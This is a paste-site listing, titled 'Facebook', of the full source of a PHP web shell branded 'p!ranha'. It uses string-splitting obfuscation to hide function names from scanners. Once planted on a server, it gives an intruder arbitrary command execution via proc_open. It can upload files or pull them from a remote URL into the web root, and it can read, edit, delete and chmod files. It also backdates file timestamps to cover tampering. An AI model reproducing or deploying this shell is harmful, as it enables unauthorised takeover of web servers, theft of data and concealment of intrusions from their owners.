Facebook
From nomi88, 2 Months ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 186
  1. <!DOCTYPE html>
  2. &lt;html&gt;
  3. &lt;head&gt;
  4.  &lt;meta name="author" c by3p4ss"&gt;
  5.  &lt;meta name="robots" c nofollow, noarchive"&gt;
  6.  &lt;meta name="viewport" c initial-scale=0.1"&gt;
  7.  &lt;link rel="icon" href="https://i.ibb.co/g68BBXn/piranha.png" type="image/x-icon"&gt;
  8.  &lt;title&gt;p!ranha?&lt;/title&gt;
  9. &lt;/head&gt;
  10. &lt;body bgcolor="#580f0f" text="#ffffff"&gt;
  11. &lt;link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"&gt;
  12. &lt;style&gt;
  13.  @import url('https://fonts.googleapis.com/css2?family=Asap+Condensed:wght@500&display=swap');
  14.  @import url('https://fonts.googleapis.com/css?family=Russo+One');
  15. body {
  16.  font-family: 'Asap Condensed', sans-serif;
  17.  text-shadow:0px 0px 1px #ba2c1c;
  18.  cursor: url(http://cur.cursors-4u.net/symbols/sym-1/sym46.cur), progress !important;
  19. }
  20.  
  21. body::-webkit-scrollbar {
  22.   width: 12px;
  23. }
  24.  
  25. body::-webkit-scrollbar-track {
  26.   background: #580f0f;
  27. }
  28.  
  29. body::-webkit-scrollbar-thumb {
  30.   background-color: #580f0f;
  31.   border: 3px solid gray;
  32. }
  33.  
  34. #content tr:hover {
  35.  background-color: #410909;
  36.  text-shadow:0px 0px 10px #fff;
  37. }
  38.  
  39. #content .first {
  40.  background-color: #410909;
  41. }
  42.  
  43. #content .first:hover {
  44.  background-color: #410909
  45.  text-shadow:0px 0px 1px #ffffff;
  46. }
  47.  
  48. table {
  49.  border: 0px #410909 solid;
  50.  table-layout: fixed;
  51. }
  52.  
  53. td {
  54.  word-wrap: break-word;
  55. }
  56.  
  57. a {
  58.  color: #ffffff;
  59.  text-decoration: none;
  60. }
  61.  
  62. a:hover {
  63.  color: #000000;
  64.  text-shadow:0px 0px 10px #ffffff;
  65. }
  66.  
  67. input,select,textarea {
  68.  border: 1px #FFFFFF solid;
  69.  -moz-border-radius: 5px;
  70.  -webkit-border-radius:5px;
  71.  border-radius:5px;
  72. }
  73.  
  74. .gas {
  75.  background-color: #580f0f;
  76.  color: #ffffff;
  77.  cursor: pointer;
  78. }
  79.  
  80. select {
  81.  background-color: transparent;
  82.  color: #ffffff;
  83. }
  84.  
  85. select:after {
  86.  cursor: pointer;
  87. }
  88.  
  89. .linka {
  90.  background-color: transparent;
  91.  color: #ffffff;
  92. }
  93.  
  94. .up {
  95.  background-color: transparent;
  96.  color: #fff;
  97. }
  98.  
  99. option {
  100.  background-color: #580f0f;
  101. }
  102.  
  103. .btf {
  104.  background: transparent;
  105.  border: 1px #fff solid;
  106.  cursor: pointer;
  107. }
  108.  
  109. ::-webkit-file-upload-button {
  110.   background: transparent;
  111.   color: #fff;
  112.   border-color: #fff;
  113.   cursor: pointer;
  114. }
  115. &lt;/style&gt;
  116. <center>
  117. &lt;?php
  118. echo '<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  119. <tr><td>';
  120. set_time_limit(0);
  121. error_reporting(0);
  122. $gcw = "ge"."tc"."wd";
  123. $exp = "ex"."plo"."de";
  124. $fpt = "fi"."le_p"."ut_co"."nte"."nts";
  125. $fgt = "f"."ile_g"."et_c"."onten"."ts";
  126. $sts = "s"."trip"."slash"."es";
  127. $scd = "sc"."a"."nd"."ir";
  128. $fxt = "fi"."le_"."exis"."ts";
  129. $idi = "i"."s_d"."ir";
  130. $ulk = "un"."li"."nk";
  131. $ifi = "i"."s_fi"."le";
  132. $sub = "subs"."tr";
  133. $spr = "sp"."ri"."ntf";
  134. $fp = "fil"."epe"."rms";
  135. $chm = "ch"."m"."od";
  136. $ocd = "oc"."td"."ec";
  137. $isw = "i"."s_wr"."itab"."le";
  138. $idr = "i"."s_d"."ir";
  139. $ird = "is"."_rea"."da"."ble";
  140. $isr = "is_"."re"."adab"."le";
  141. $fsz = "fi"."lesi"."ze";
  142. $rd = "r"."ou"."nd";
  143. $igt = "in"."i_g"."et";
  144. $fnct = "fu"."nc"."tion"."_exi"."sts";
  145. $rad = "RE"."M"."OTE_AD"."DR";
  146. $rpt = "re"."al"."pa"."th";
  147. $bsn = "ba"."se"."na"."me";
  148. $srl = "st"."r_r"."ep"."la"."ce";
  149. $sps = "st"."rp"."os";
  150. $mkd = "m"."kd"."ir";
  151.  
  152. $wb = (isset($_SERVER['H'.'T'.'TP'.'S']) && $_SERVER['H'.'T'.'TP'.'S'] === 'o'.'n' ? "ht"."tp"."s" : "ht"."tp") . "://".$_SERVER['HT'.'TP'.'_H'.'OS'.'T'];
  153.  
  154. $disfunc = @$igt("dis"."abl"."e_f"."unct"."ion"."s");
  155. if (empty($disfunc)) {
  156.  $disf = "<font color='#ff1818'>NONE</font>";
  157. } else {
  158.  $disf = "<font color='red'>".$disfunc."</font>";
  159. }
  160.  
  161. function cekdir() {
  162.  if (isset($_GET['piranhaloc'])) {
  163.   $lokasi = $_GET['piranhaloc'];
  164.  } else {
  165.   $lokasi = "ge"."t"."cw"."d";
  166.   $lokasi = $lokasi();
  167.  }
  168.  $b = "i"."s_w"."ri"."tab"."le";
  169.  if ($b($lokasi)) {
  170.   return "<font color='#009c12'>Writeable</font>";
  171.  } else {
  172.   return "<font color='red'>Writeable</font>";
  173.  }
  174. }
  175.  
  176. function crt() {
  177.  $a = "is"."_w"."ri"."tab"."le";
  178.  if ($a($_SERVER['DO'.'CU'.'ME'.'NT'.'_RO'.'OT'])) {
  179.   return "<font color='#009c12'>Writeable</font>";
  180.  } else {
  181.   return "<font color='red'>Writeable</font>";
  182.  }
  183. }
  184. function xrd($lokena) {
  185.  $a = "s"."ca"."nd"."ir";
  186.     $items = $a($lokena);
  187.     foreach ($items as $item) {
  188.         if ($item === '.' || $item === '..') {
  189.             continue;
  190.         }
  191.         $b = "is"."_di"."r";
  192.         $piranhaloc = $lokena.'/'.$item;
  193.         if ($b($piranhaloc)) {
  194.             xrd($piranhaloc);
  195.         } else {
  196.          $c = "u"."nl"."in"."k";
  197.             $c($piranhaloc);
  198.         }
  199.     }
  200.     $d = "rm"."di"."r";
  201.     $d($lokena);
  202. }
  203.  
  204. function cfn($fl) {
  205.  $a = "ba"."sena"."me";
  206.  $b = "pat"."hinf"."o";
  207.  $c = $b($a($fl), piranhalocINFO_EXTENSION);
  208.  if ($c == "zip") {
  209.   return '<i class="fa fa-file-zip-o"  #d6d4ce"></i>';
  210.  } elseif (preg_match("/jpeg|jpg|png|ico/im", $c)) {
  211.   return '<i class="fa fa-file-image-o"  #d6d4ce"></i>';
  212.  } elseif ($c == "txt") {
  213.   return '<i class="fa fa-file-text-o"  #d6d4ce"></i>';
  214.  } elseif ($c == "pdf") {
  215.   return '<i class="fa fa-file-pdf-o"  #d6d4ce"></i>';
  216.  } elseif ($c == "html") {
  217.   return '<i class="fa fa-file-code-o"  #d6d4ce"></i>';
  218.  }
  219.  else {
  220.   return '<i class="fa fa-file-o"  #d6d4ce"></i>';
  221.  }
  222. }
  223.  
  224. function ipsrv() {
  225.  $a = "g"."eth"."ost"."byna"."me";
  226.  $b = "fun"."cti"."on_"."exis"."ts";
  227.  $c = "S"."ERVE"."R_AD"."DR";
  228.  $d = "SE"."RV"."ER_N"."AM"."E";
  229.  if ($b($a)) {
  230.   return $a($_SERVER[$d]);
  231.  } else {
  232.   return $a($_SERVER[$c]);
  233.  }
  234. }
  235.  
  236. function ggr($fl) {
  237.  $a = "fun"."cti"."on_"."exis"."ts";
  238.  $b = "po"."si"."x_ge"."tgr"."gid";
  239.  $c = "fi"."le"."gro"."up";
  240.  if ($a($b)) {
  241.   if (!$a($c)) {
  242.    return "?";
  243.   }
  244.   $d = $b($c($fl));
  245.   if (empty($d)) {
  246.    $e = $c($fl);
  247.    if (empty($e)) {
  248.     return "?";
  249.    } else {
  250.     return $e;
  251.    }
  252.   } else {
  253.    return $d['name'];
  254.   }
  255.  } elseif ($a($c)) {
  256.   return $c($fl);
  257.  } else {
  258.   return "?";
  259.  }
  260. }
  261.  
  262. function gor($fl) {
  263.  $a = "fun"."cti"."on_"."exis"."ts";
  264.  $b = "po"."s"."ix_"."get"."pwu"."id";
  265.  $c = "fi"."le"."o"."wn"."er";
  266.  if ($a($b)) {
  267.   if (!$a($c)) {
  268.    return "?";
  269.   }
  270.   $d = $b($c($fl));
  271.   if (empty($d)) {
  272.    $e = $c($fl);
  273.    if (empty($e)) {
  274.     return "?";
  275.    } else {
  276.     return $e;
  277.    }
  278.   } else {
  279.    return $d['name'];
  280.   }
  281.  } elseif ($a($c)) {
  282.   return $c($fl);
  283.  } else {
  284.   return "?";
  285.  }
  286. }
  287.  
  288. function fdt($fl) {
  289.  $a = "da"."te";
  290.  $b = "fil"."emt"."ime";
  291.     return $a("F d Y H:i:s", $b($fl));
  292. }
  293.  
  294. function dunlut($fl) {
  295.  $a = "fil"."e_exi"."sts";
  296.  $b = "ba"."sena"."me";
  297.  $c = "fi"."les"."ize";
  298.  $d = "read"."fi"."le";
  299.  if ($a($fl) && isset($fl)) {
  300.   header('Con'.'tent-Descr'.'iption: Fi'.'le Tra'.'nsfer');
  301.   header("Conte'.'nt-Control:public");
  302.   header('Cont'.'ent-Type: a'.'pp'.'licat'.'ion/oc'.'tet-s'.'tream');
  303.   header('Cont'.'ent-Dis'.'posit'.'ion: at'.'tachm'.'ent; fi'.'lena'.'me="'.$b($fl).'"');
  304.   header('Exp'.'ires: 0');
  305.   header("Ex"."pired:0");
  306.   header('Cac'.'he-Cont'.'rol: must'.'-revali'.'date');
  307.   header("Cont"."ent-Tran"."sfer-Enc"."oding:bi"."nary");
  308.   header('Pra'.'gma: pub'.'lic');
  309.   header('Con'.'ten'.'t-Le'.'ngth: ' .$c($fl));
  310.   flush();
  311.   $d($fl);
  312.   exit;
  313.  } else {
  314.   return "Fi"."le Not F"."ound !";
  315.  }
  316. }
  317.  
  318. function komend($kom, $lk) {
  319.  $x = "pr"."eg_"."mat"."ch";
  320.  $xx = "2".">"."&"."1";
  321.  if (!$x("/".$xx."/i", $kom)) {
  322.   $kom = $kom." ".$xx;
  323.  }
  324.  $a = "fu"."ncti"."on_"."ex"."is"."ts";
  325.  $b = "p"."ro"."c_op"."en";
  326.  $c = "htm"."lspe"."cialc"."hars";
  327.  $d = "s"."trea"."m_g"."et_c"."ont"."ents";
  328.  if ($a($b)) {
  329.   $ps = $b($kom, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $meki, $lk);
  330.   return "<pre>".$c($d($meki[1]))."</pre>";
  331.  } else {
  332.   return "pr"."oc"."_op"."en f"."unc"."tio"."n i"."s di"."sabl"."ed !";
  333.  }
  334. }
  335.  
  336. function memeklim($text) {
  337.  echo "<center><font color='#009c12'>".$text."</center></font>";
  338. }
  339.  
  340. function red($text) {
  341.  echo "<center><font color='red'>".$text."</center></font>";
  342. }
  343.  
  344. function oren($text) {
  345.  return "<center><font color='#ff6969'>".$text."</center></font>";
  346. }
  347.  
  348. function tuls($nm, $lk) {
  349.  return "[ <a href='".$lk."'>".$nm."</a> ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  350. }
  351. echo "Se"."rv"."er"." I"."P : <font color=#ff1818>".ipsrv()."</font> &nbsp;/&nbsp; Yo"."ur I"."P : <font color=#ff1818>".$_SERVER[$rad]."</font><br>";
  352. echo "We"."b S"."erv"."er : <font color='#ff1818'>".$_SERVER['SE'.'RV'.'ER_'.'SOF'.'TWA'.'RE']."</font><br>";
  353. $unm = "ph"."p_u"."na"."me";
  354. echo "Sys"."tem : <font color='#ff1818'>".@$unm()."</font><br>";
  355. $gcu = "g"."et_"."curr"."ent"."_us"."er";
  356. $gmu = "g"."et"."my"."ui"."d";
  357. echo "Us"."er : <font color='#ff1818'>".@$gcu()."&nbsp;</font>( <font color='#ff1818'>".@$gmu()."</font>)<br>";
  358. $phv = "ph"."pve"."rsi"."on";
  359. echo "PH"."P V"."er"."sio"."n : <font color='#ff1818'>".@$phv()."</font><br>";
  360. echo "Dis"."abl"."e Fu"."nct"."ion : ".$disf."</font><br>";
  361. echo "MySQL : ";
  362. if (@$fnct("my"."sql_co"."nne"."ct")) {
  363.     echo "<font color=#009c12>ON</font>";
  364. } else {
  365.     echo "<font color=red>OFF</font>";
  366. }
  367. echo " &nbsp;|&nbsp; cURL : ";
  368. if (@$fnct("cu"."rl"."_in"."it")) {
  369.     echo "<font color=#009c12>ON</font>";
  370. } else {
  371.     echo "<font color=red>OFF</font>";
  372. }
  373. echo " &nbsp;|&nbsp; WG"."ET : ";
  374. if (@$fxt("/"."us"."r/b"."in/w"."get")) {
  375.     echo "<font color=#009c12>ON</font>";
  376. } else {
  377.     echo "<font color=red>OFF</font>";
  378. }
  379. echo " &nbsp;|&nbsp; Pe"."rl : ";
  380. if (@$fxt("/u"."sr/b"."in"."/pe"."rl")) {
  381.     echo "<font color=#009c12>ON</font>";
  382. } else {
  383.     echo "<font color=red>OFF</font>";
  384. }
  385. echo " &nbsp;|&nbsp; Pyt"."ho"."n : ";
  386. if (@$fxt("/"."us"."r/b"."in/p"."ytho"."n2")) {
  387.     echo "<font color=#009c12>ON</font>";
  388. } else {
  389.     echo "<font color=red>OFF</font>";
  390. }
  391. echo " &nbsp;|&nbsp; S"."u"."do : ";
  392. if (@$fxt("/"."us"."r/b"."in/s"."u"."d"."o")) {
  393.     echo "<font color=#009c12>ON</font>";
  394. } else {
  395.     echo "<font color=red>OFF</font>";
  396. }
  397. echo " &nbsp;|&nbsp; Pk"."e"."x"."e"."c : ";
  398. if (@$fxt("/"."us"."r/b"."in/p"."k"."e"."x"."e"."c")) {
  399.     echo "<font color=#009c12>ON</font>";
  400. } else {
  401.     echo "<font color=red>OFF</font>";
  402. }
  403. echo "<br>Di"."rect"."ory : &nbsp;";
  404.  
  405. foreach($_POST as $key => $value){
  406.  $_POST[$key] = $sts($value);
  407. }
  408.  
  409. if(isset($_GET['piranhaloc'])){
  410.  $lokasi = $_GET['piranhaloc'];
  411.  $lokdua = $_GET['piranhaloc'];
  412. } else {
  413.  $lokasi = $gcw();
  414.  $lokdua = $gcw();
  415. }
  416.  
  417. $lokasi = $srl('\\','/',$lokasi);
  418. $lokasis = $exp('/',$lokasi);
  419. $lokasinya = @$scd($lokasi);
  420.  
  421. foreach($lokasis as $id => $lok){
  422.  if($lok == '' && $id == 0){
  423.   $a = true;
  424.   echo '<a href="?piranhaloc=/">/</a>';
  425.   continue;
  426.  }
  427.  if($lok == '') continue;
  428.  echo '>'.$lok.'</a>/';
  429. }
  430.  
  431. echo '</td></tr><tr><td><br>';
  432. if (isset($_POST['upwkwk'])) {
  433.  if (isset($_POST['berkasnya'])) {
  434.   if ($_POST['dirnya'] == "2") {
  435.    $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT'];
  436.   }
  437.   if (empty($_FILES['berkas']['name'])) {
  438.    echo "<font color=#ff6969>Fi"."le not Se"."lected !</font><br><br>";
  439.   } else {
  440.    $data = @$fpt($lokasi."/".$_FILES['berkas']['name'], @$fgt($_FILES['berkas']['tm'.'p_na'.'me']));
  441.     if ($fxt($lokasi."/".$_FILES['berkas']['name'])) {
  442.      $fl = $lokasi."/".$_FILES['berkas']['name'];
  443.      echo "Fi"."le Upl"."oa"."ded ! &nbsp;<font color='#ff1818'><i>".$fl."</i></font><br>";
  444.      if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) {
  445.       $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl);
  446.       echo "Li"."nk : <a href='".$lwb."'><font color='#ff1818'>".$lwb."</font></a><br>";
  447.      }
  448.      echo "<br>";
  449.     } else {
  450.      echo "<font color='red'>Fa"."ile"."d to Up"."lo"."ad !</font><br><br>";
  451.    }
  452.   }
  453.  } elseif (isset($_POST['linknya'])) {
  454.   if (empty($_POST['namalink'])) {
  455.    echo "<font color=#ff6969>Fi"."lename cannot be empty !</font><br><br>";
  456.   } elseif (empty($_POST['darilink'])) {
  457.    echo "<font color=#ff6969>Link cannot be empty !</font><br><br>";
  458.   } else {
  459.    if ($_POST['dirnya'] == "2") {
  460.    $lokasi = $_SERVER['DOC'.'UME'.'NT_R'.'OOT'];
  461.    }
  462.     $data = @$fpt($lokasi."/".$_POST['namalink'], @$fgt($_POST['darilink']));
  463.     if ($fxt($lokasi."/".$_POST['namalink'])) {
  464.      $fl = $lokasi."/".$_POST['namalink'];
  465.      echo "Fi"."le Uplo"."ade"."d ! &nbsp;<font color='#ff1818'><i>".$fl."</i></font><br>";
  466.      if ($sps($lokasi, $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) {
  467.       $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb."/", $fl);
  468.       echo "Li"."nk : <a href='".$lwb."'><font color='#ff1818'>".$lwb."</font></a><br>";
  469.      }
  470.      echo "<br>";
  471.     } else {
  472.      echo "<font color='red'>Fa"."iled to Up"."lo"."ad !</font><br><br>";
  473.     }
  474.   }
  475.  }
  476. }
  477. echo "Uplo"."ad Fi"."le : ";
  478. echo '&lt;form enctype="multip'.'art/form'.'-data" method="p'.'ost"&gt;
  479. &lt;input type="radio" value="1" name="dirnya" checked&gt;Curr3nt_D!r [ '.cekdir().' ]
  480. &lt;input type="radio" value="2" name="dirnya" &gt;D0cum3nt_r0Ot [ '.crt().' ]<br>
  481. &lt;input type="hidden" name="upwkwk" value="aplod"&gt;
  482. &lt;input type="fi'.'le" name="berkas"&gt;&lt;input type="submit" name="berkasnya" value="G'.'O!" class="up"  pointer; border-color: #fff"><br>
  483. &lt;input type="text" name="darilink" class="up" size="59" placeholder="https://pir'.'an'.'ha'.'.go'.'.id'.'/ev'.'il'.'66'.'6k'.'ids"&gt;&nbsp;&lt;input type="text" name="namalink" class="up" size="14" placeholder="sa'.'ved.'.'txt"&gt;&lt;input type="submit" name="linknya" class="up" value="G'.'0!"  pointer; border-color: #fff">
  484. &lt;/form&gt;&lt;form method="post" enctype="application/x-www-form-urlencoded">Co'.'mm'.'an'.'d : &lt;input type="text" name="komend" class="up"  pointer; border: 0px;border-color: #FFFFFFF;width:700px" value="'.htmlspecialchars($_POST['komend']).'"&gt;
  485. &lt;input type="submit" name="komends" value="E'.'x3'.'cu'.'t3!" class="up"  pointer; border-color: #fff"&gt;
  486. &lt;/form&gt;';
  487. echo "</table>";
  488. if (isset($_GET['piranhalocation'])) {
  489.  
  490.  echo "<tr><td>Current Fi"."le : ".$_GET['piranhalocation'];
  491.  echo '</tr></td></table><br/>';
  492.  echo "<pre>".htmlspecialchars($fgt($_GET['piranhalocation']))."</pre>";
  493. } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "hapus") {
  494.  if ($idi($_POST['piranhaloc']) && $fxt($_POST['piranhaloc'])) {
  495.   xrd($_POST['piranhaloc']);
  496.   if ($fxt($_POST['piranhaloc'])) {
  497.    red("Fai"."led to del"."ete Dir"."ec"."tory !");
  498.   } else {
  499.    memeklim("Del"."ete Dir"."ect"."ory Suc"."cess !");
  500.   }
  501.  } elseif ($ifi($_POST['piranhaloc']) && $fxt($_POST['piranhaloc'])) {
  502.   @$ulk($_POST['piranhaloc']);
  503.   if ($fxt($_POST['piranhaloc'])) {
  504.    red("Failed to Delete Fi"."le !");
  505.   } else {
  506.    memeklim("De"."le"."te Fi"."le Succ"."ess !");
  507.   }
  508.  } else {
  509.   red("Fi"."le / Dir"."ecto"."ry not Fo"."und !");
  510.  }
  511. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
  512.  if (!isset($_POST['cemod'])) {
  513.   if ($_POST['ty'.'pe'] == "fi"."le") {
  514.    echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  515.   } else {
  516.    echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  517.   }
  518.   echo '&lt;form method="post"&gt;
  519.   Pe'.'rmi'.'ss'.'ion : &lt;input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['piranhaloc'])), -4).'" /&gt;
  520.   &lt;input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'"&gt;
  521.   &lt;input type="hidden" name="pilih" value="ubahmod"&gt;';
  522.   if ($_POST['ty'.'pe'] == "fi"."le") {
  523.    echo '&lt;input type="hidden" name="type" value="fi'.'le"&gt;';;
  524.   } else {
  525.    echo '&lt;input type="hidden" name="type" value="di'.'r"&gt;';;
  526.   }
  527.   echo '&lt;input type="submit" value="Change" name="cemod" class="up"  pointer; border-color: #fff"/&gt;
  528.   &lt;/form&gt;&lt;br>';
  529.  } else {
  530.   $cm = @$chm($_POST['piranhaloc'], $ocd($_POST['perm']));
  531.   if ($cm == true) {
  532.    memeklim("Change Mod Success !");
  533.    if ($_POST['ty'.'pe'] == "fi"."le") {
  534.     echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  535.    } else {
  536.     echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  537.    }
  538.    echo '&lt;form method="post"&gt;
  539.    Pe'.'rmi'.'ss'.'ion : &lt;input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['piranhaloc'])), -4).'" /&gt;
  540.    &lt;input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'"&gt;
  541.    &lt;input type="hidden" name="pilih" value="ubahmod"&gt;';
  542.    if ($_POST['ty'.'pe'] == "fi"."le") {
  543.     echo '&lt;input type="hidden" name="type" value="fi'.'le"&gt;';;
  544.    } else {
  545.     echo '&lt;input type="hidden" name="type" value="di'.'r"&gt;';;
  546.    }
  547.    echo '&lt;input type="submit" value="Change" name="cemod" class="up"  pointer; border-color: #fff"/&gt;
  548.    &lt;/form&gt;&lt;br>';
  549.   } else {
  550.    red("Change Mod Failed !");
  551.    if ($_POST['ty'.'pe'] == "fi"."le") {
  552.     echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  553.    } else {
  554.     echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  555.    }
  556.    echo '&lt;form method="post"&gt;
  557.    Pe'.'rmi'.'ss'.'ion : &lt;input name="perm" type="text" class="up" size="4" maxlength="4" value="'.$sub($spr('%o', $fp($_POST['piranhaloc'])), -4).'" /&gt;
  558.    &lt;input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'"&gt;
  559.    &lt;input type="hidden" name="pilih" value="ubahmod"&gt;';
  560.    if ($_POST['ty'.'pe'] == "fi"."le") {
  561.     echo '&lt;input type="hidden" name="type" value="fi'.'le"&gt;';;
  562.    } else {
  563.     echo '&lt;input type="hidden" name="type" value="di'.'r"&gt;';;
  564.    }
  565.    echo '&lt;input type="submit" value="Change" name="cemod" class="up"  pointer; border-color: #fff"/&gt;
  566.    &lt;/form&gt;&lt;br>';
  567.   }
  568.  }
  569. } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "ubahnama") {
  570.  if (isset($_POST['gantin'])) {
  571.   $namabaru = $_GET['piranhaloc']."/".$_POST['newname'];
  572.   $ceen = "re"."na"."me";
  573.   if (@$ceen($_POST['piranhaloc'], $namabaru) === true) {
  574.    memeklim("Change Name Success");
  575.    if ($_POST['ty'.'pe'] == "fi"."le") {
  576.     echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  577.    } else {
  578.     echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  579.    }
  580.    echo '&lt;form method="post"&gt;
  581.    New Name : &lt;input name="newname" type="text" class="up" size="20" value="'.htmlspecialchars($_POST['newname']).'" /&gt;
  582.    &lt;input type="hidden" name="piranhaloc" value="'.$_POST['newname'].'"&gt;
  583.    &lt;input type="hidden" name="pilih" value="ubahnama"&gt;';
  584.    if ($_POST['ty'.'pe'] == "fi"."le") {
  585.     echo '&lt;input type="hidden" name="type" value="fi'.'le"&gt;';;
  586.    } else {
  587.     echo '&lt;input type="hidden" name="type" value="di'.'r"&gt;';;
  588.    }
  589.    echo '&lt;input type="submit" value="Change" name="gantin" class="up"  pointer; border-color: #fff"/&gt;
  590.    &lt;/form&gt;&lt;br>';
  591.   } else {
  592.    red("Change Name Failed");
  593.   }
  594.  } else {
  595.   if ($_POST['ty'.'pe'] == "fi"."le") {
  596.    echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  597.   } else {
  598.    echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  599.   }
  600.   echo '&lt;form method="post"&gt;
  601.   New Name : &lt;input name="newname" type="text" class="up" size="20" value="'.htmlspecialchars($bsn($_POST['piranhaloc'])).'" /&gt;
  602.   &lt;input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'"&gt;
  603.   &lt;input type="hidden" name="pilih" value="ubahnama"&gt;';
  604.   if ($_POST['ty'.'pe'] == "fi"."le") {
  605.    echo '&lt;input type="hidden" name="type" value="fi'.'le"&gt;';;
  606.   } else {
  607.    echo '&lt;input type="hidden" name="type" value="di'.'r"&gt;';;
  608.   }
  609.   echo '&lt;input type="submit" value="Change" name="gantin" class="up"  pointer; border-color: #fff"/&gt;
  610.   &lt;/form&gt;&lt;br>';
  611.  }
  612. } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
  613.  if (isset($_POST['gasedit'])) {
  614.   $edit = @$fpt($_POST['piranhaloc'], $_POST['src']);
  615.   if ($fgt($_POST['piranhaloc']) == $_POST['src']) {
  616.    memeklim("Ed"."it Fi"."le Suc"."ce"."ss !");
  617.   } else {
  618.    red("Ed"."it Fi"."le Fai"."led !");
  619.   }
  620.  }
  621.  echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br><br>";
  622.  echo '&lt;form method="post"&gt;
  623.  &lt;textarea cols=80 rows=20 name="src"&gt;'.htmlspecialchars($fgt($_POST['piranhaloc'])).'&lt;/textarea&gt;&lt;br>
  624.  &lt;input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'"&gt;
  625.  &lt;input type="hidden" name="pilih" value="ed'.'it"&gt;
  626.  &lt;input type="submit" value="Ed'.'it Fi'.'le" name="gasedit" class="up"  pointer; border-color: #fff"/&gt;
  627.  &lt;/form&gt;&lt;br>';
  628. } elseif (isset($_POST['komends'])) {
  629.  if (isset($_POST['komend'])) {
  630.   if (isset($_GET['piranhaloc'])) {
  631.    $lk = $_GET['piranhaloc'];
  632.   } else {
  633.    $lk = $gcw();
  634.   }
  635.   $km = 'ko'.'me'.'nd';
  636.   echo $km($_POST['komend'], $lk);
  637.   exit();
  638.  }
  639. } elseif (isset($_POST['piranhaloc']) && $_POST['pilih'] == "ubahtanggal") {
  640.  if (isset($_POST['tanggale'])) {
  641.   $stt = "st"."rtot"."ime";
  642.   $tch = "t"."ou"."ch";
  643.   $tanggale = $stt($_POST['tanggal']);
  644.   if (@$tch($_POST['piranhaloc'], $tanggale) === true) {
  645.    memeklim("Change Da"."te Succ"."ess !");
  646.    $det = "da"."te";
  647.    $ftm = "fi"."le"."mti"."me";
  648.    $b = $det("d F Y H:i:s", $ftm($_POST['piranhaloc']));
  649.    if ($_POST['ty'.'pe'] == "fi"."le") {
  650.     echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  651.    } else {
  652.     echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  653.    }
  654.    echo '&lt;form method="post"&gt;
  655.    New Da'.'te : &lt;input name="tanggal" type="text" class="up" size="20" value="'.$b.'" /&gt;
  656.    &lt;input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'"&gt;
  657.    &lt;input type="hidden" name="pilih" value="ubahtanggal"&gt;';
  658.    if ($_POST['ty'.'pe'] == "fi"."le") {
  659.     echo '&lt;input type="hidden" name="type" value="fi'.'le"&gt;';;
  660.    } else {
  661.     echo '&lt;input type="hidden" name="type" value="di'.'r"&gt;';;
  662.    }
  663.    echo '&lt;input type="submit" value="Change" name="tanggale" class="up"  pointer; border-color: #fff"/&gt;
  664.    &lt;/form&gt;&lt;br>';
  665.   } else {
  666.    red("Fai"."led to Cha"."nge Da"."te !");
  667.   }
  668.  } else {
  669.   $det = "da"."te";
  670.   $ftm = "fi"."le"."mti"."me";
  671.   $b = $det("d F Y H:i:s", $ftm($_POST['piranhaloc']));
  672.   if ($_POST['ty'.'pe'] == "fi"."le") {
  673.    echo "<center>Fi"."le : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  674.   } else {
  675.    echo "<center>D"."ir : ".htmlspecialchars($_POST['piranhaloc'])."<br>";
  676.   }
  677.   echo '&lt;form method="post"&gt;
  678.   New Da'.'te : &lt;input name="tanggal" type="text" class="up" size="20" value="'.$b.'" /&gt;
  679.   &lt;input type="hidden" name="piranhaloc" value="'.$_POST['piranhaloc'].'"&gt;
  680.   &lt;input type="hidden" name="pilih" value="ubahtanggal"&gt;';
  681.   if ($_POST['ty'.'pe'] == "fi"."le") {
  682.    echo '&lt;input type="hidden" name="type" value="fi'.'le"&gt;';;
  683.   } else {
  684.    echo '&lt;input type="hidden" name="type" value="di'.'r"&gt;';;
  685.   }
  686.   echo '&lt;input type="submit" value="Change" name="tanggale" class="up"  pointer; border-color: #fff"/&gt;
  687.   &lt;/form&gt;&lt;br>';
  688.  }
